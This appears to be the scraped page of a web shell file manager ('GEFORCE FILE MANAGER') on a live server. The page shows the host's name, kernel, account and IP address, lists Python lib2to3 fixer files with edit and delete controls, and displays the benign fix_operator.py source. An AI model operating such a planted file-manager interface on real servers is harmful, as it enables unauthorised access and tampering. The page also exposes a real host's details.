[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
lib64
/
python3.6
/
lib2to3
/
fixes
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 __pycache__
SET
[ DEL ]
📄 __init__.py
47 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_apply.py
2,430 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_asserts.py
984 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_basestring.py
320 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_buffer.py
590 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_dict.py
3,760 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_except.py
3,344 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_exec.py
979 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_execfile.py
2,048 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_exitfunc.py
2,495 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_filter.py
2,651 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_funcattrs.py
644 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_future.py
547 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_getcwdu.py
451 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_has_key.py
3,196 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_idioms.py
4,876 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_import.py
3,256 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_imports.py
5,684 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_imports2.py
289 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_input.py
708 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_intern.py
1,235 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_isinstance.py
1,608 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_itertools.py
1,548 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_itertools_imports.py
2,086 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_long.py
476 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_map.py
3,640 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_metaclass.py
8,197 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_methodattrs.py
606 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_ne.py
571 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_next.py
3,174 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_nonzero.py
591 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_numliterals.py
768 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_operator.py
3,471 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_paren.py
1,227 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_print.py
2,844 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_raise.py
2,926 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_raw_input.py
454 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_reduce.py
837 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_reload.py
1,154 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_renames.py
2,221 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_repr.py
613 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_set_literal.py
1,697 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_standarderror.py
449 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_sys_exc.py
1,034 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_throw.py
1,582 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_tuple_params.py
5,565 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_types.py
1,774 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_unicode.py
1,256 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_urllib.py
8,353 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_ws_comma.py
1,090 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_xrange.py
2,694 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_xreadlines.py
689 B
SET
[ EDIT ]
|
[ DEL ]
📄 fix_zip.py
1,289 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: fix_operator.py
"""Fixer for operator functions. operator.isCallable(obj) -> hasattr(obj, '__call__') operator.sequenceIncludes(obj) -> operator.contains(obj) operator.isSequenceType(obj) -> isinstance(obj, collections.Sequence) operator.isMappingType(obj) -> isinstance(obj, collections.Mapping) operator.isNumberType(obj) -> isinstance(obj, numbers.Number) operator.repeat(obj, n) -> operator.mul(obj, n) operator.irepeat(obj, n) -> operator.imul(obj, n) """ import collections # Local imports from lib2to3 import fixer_base from lib2to3.fixer_util import Call, Name, String, touch_import def invocation(s): def dec(f): f.invocation = s return f return dec class FixOperator(fixer_base.BaseFix): BM_compatible = True order = "pre" methods = """ method=('isCallable'|'sequenceIncludes' |'isSequenceType'|'isMappingType'|'isNumberType' |'repeat'|'irepeat') """ obj = "'(' obj=any ')'" PATTERN = """ power< module='operator' trailer< '.' %(methods)s > trailer< %(obj)s > > | power< %(methods)s trailer< %(obj)s > > """ % dict(methods=methods, obj=obj) def transform(self, node, results): method = self._check_method(node, results) if method is not None: return method(node, results) @invocation("operator.contains(%s)") def _sequenceIncludes(self, node, results): return self._handle_rename(node, results, "contains") @invocation("hasattr(%s, '__call__')") def _isCallable(self, node, results): obj = results["obj"] args = [obj.clone(), String(", "), String("'__call__'")] return Call(Name("hasattr"), args, prefix=node.prefix) @invocation("operator.mul(%s)") def _repeat(self, node, results): return self._handle_rename(node, results, "mul") @invocation("operator.imul(%s)") def _irepeat(self, node, results): return self._handle_rename(node, results, "imul") @invocation("isinstance(%s, collections.Sequence)") def _isSequenceType(self, node, results): return self._handle_type2abc(node, results, "collections", "Sequence") @invocation("isinstance(%s, collections.Mapping)") def _isMappingType(self, node, results): return self._handle_type2abc(node, results, "collections", "Mapping") @invocation("isinstance(%s, numbers.Number)") def _isNumberType(self, node, results): return self._handle_type2abc(node, results, "numbers", "Number") def _handle_rename(self, node, results, name): method = results["method"][0] method.value = name method.changed() def _handle_type2abc(self, node, results, module, abc): touch_import(None, module, node) obj = results["obj"] args = [obj.clone(), String(", " + ".".join([module, abc]))] return Call(Name("isinstance"), args, prefix=node.prefix) def _check_method(self, node, results): method = getattr(self, "_" + results["method"][0].value) if isinstance(method, collections.Callable): if "module" in results: return method else: sub = (str(results["obj"]),) invocation_str = method.invocation % sub self.warning(node, "You should use '%s' here." % invocation_str) return None